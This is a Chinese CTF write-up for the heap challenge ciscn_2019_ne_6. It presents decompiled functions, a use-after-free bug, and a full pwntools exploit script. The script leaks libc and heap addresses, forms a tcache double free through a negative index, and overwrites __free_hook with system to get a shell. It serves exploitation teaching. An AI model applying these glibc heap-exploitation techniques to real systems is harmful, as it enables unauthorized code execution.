例题 ciscn_2019_ne_6
利用全局chunk数组,free(负数)来实现tcache double free
保护全开
四个功能增删查改
main函数
void __fastcall main(__int64 a1, char **a2, char **a3)
{
set();
sett();
while ( 1 )
{
menu();
switch ( off_1424 )
{
case 1u:
show();
break;
case 2u:
root();
add();
break;
case 3u:
root();
edit();
break;
case 4u:
root();
delete();
break;
case 5u:
puts("Bye");
exit(0);
return;
default:
puts("Invaild");
break;
}
}
}
add函数
最多申请10个chunk
unsigned __int64 sub_1053()
{
__int64 chunk; // rbx
__int64 index; // [rsp+0h] [rbp-20h]
int indexa; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
v5 = __readfsqword(0x28u);
LODWORD(index) = 0;
while ( index <= 9 && *(16LL * index + heap) )
LODWORD(index) = index + 1;
if ( index == 10 ) // 最多申请10个chunk
{
puts("Full");
}
else
{
printf("size:", index);
size = my_read();
if ( size > 0 )
{
*(16LL * indexa + heap) = size;
chunk = heap;
*(chunk + 16LL * indexa + 8) = malloc(size);
printf("Content:");
my_read1(*(16LL * indexa + heap + 8), size);
printf("addr: %p\n", *(16LL * indexa + heap + 8) & 0xFFFLL);
}
else
{
puts("No No No size must be greater than 0");
}
}
return __readfsqword(0x28u) ^ v5;
}
delete函数
存在UAF
unsigned __int64 sub_12B8()
{
int index; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("index:");
index = my_read();
if ( index >= 0 && index <= 9 )
{
ptr = *(16LL * index + heap + 8);
*(16LL * index + heap) = 0LL;
*(16LL * index + heap + 8) = 0LL;
}
if ( ptr )
free(ptr); // uaf
//
return __readfsqword(0x28u) ^ v3;
}
show函数和edit函数没有什么特别的地方
还需要注意一个root函数
变量s2在全局chunk数组附近
unsigned __int64 sub_F0D()
{
char s; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&s, 0, 0x28uLL);
printf("passwd:", 0LL);
my_read1(&s, 0x28);
if ( !strncmp(&s, s2, 0x28uLL) )
printf("I will tell you magic's address: %p\n", s2);
else
puts("No No No you are not root.");
return __readfsqword(0x28u) ^ v2;
}
思路
分配一个chunk,free后进入unsorted bin,再次申请不填写内容chunk,泄露libc,之后利用uaf和实现tcache double free,劫持free_hook,这其中需要泄露heap地址,我们在泄露libc后用a覆盖main_arena+96直至heap地址泄露heap地址
部分代码
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./ciscn_2019_ne_6')
elf = ELF('./ciscn_2019_ne_6')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#sh = remote('node4.buuoj.cn', 29556)
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()
def show():
sla(b'>> ', b'1')
def add(size,text='a',passwd='\x00'):
sla(b'>> ', b'2')
sla(b'passwd:', passwd)
sla('size:',str(size))
sla('Content:',text)
def edit(index,text,passwd='\x00'):
sla(b'>> ', b'3')
sla(b'passwd:', passwd)
sla('index:',str(index))
sla('Content:',text)
def free(index,passwd=b'a\n'):
sla(b'>> ', b'4')
sa(b'passwd:', passwd)
sla('index:',str(index))
add(0x500)#0
add(0x30)#1
add(0x30)#2
free(0)
add(0x18,'')#0
show()
ru('0: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0-0x430
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
lg('libc_base',libc_base)
edit(0,b'a'*0x11)
show()
ru(b"a"*0x10)
heap = u64(sh.recvuntil('\n',drop=True).ljust(8,b'\x00'))-0x361
lg("heap",heap)
dbg()
exp
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./ciscn_2019_ne_6')
elf = ELF('./ciscn_2019_ne_6')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#sh = remote('node4.buuoj.cn', 29556)
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()
def show():
sla(b'>> ', b'1')
def add(size,text='a',passwd='\x00'):
sla(b'>> ', b'2')
sla(b'passwd:', passwd)
sla('size:',str(size))
sla('Content:',text)
def edit(index,text,passwd='\x00'):
sla(b'>> ', b'3')
sla(b'passwd:', passwd)
sla('index:',str(index))
sla('Content:',text)
def free(index,passwd=b'a\n'):
sla(b'>> ', b'4')
sa(b'passwd:', passwd)
sla('index:',str(index))
add(0x500)#0
add(0x30)#1
add(0x30)#2
free(0)
add(0x18,'')#0
show()
ru('0: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0-0x430
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
lg('libc_base',libc_base)
edit(0,b'a'*0x11)
show()
ru(b"a"*0x10)
heap = u64(sh.recvuntil('\n',drop=True).ljust(8,b'\x00'))-0x361
lg("heap",heap)
add(0x4e0)
free(2)
free(1)
add(0x30,'')#2
free(-1,b'\x00'*0x20+p64(heap+0x860))
add(0x30,p64(free_hook))#3
add(0x30,'/bin/sh\x00')#4
add(0x30,p64(system))#5
free(4)
itr()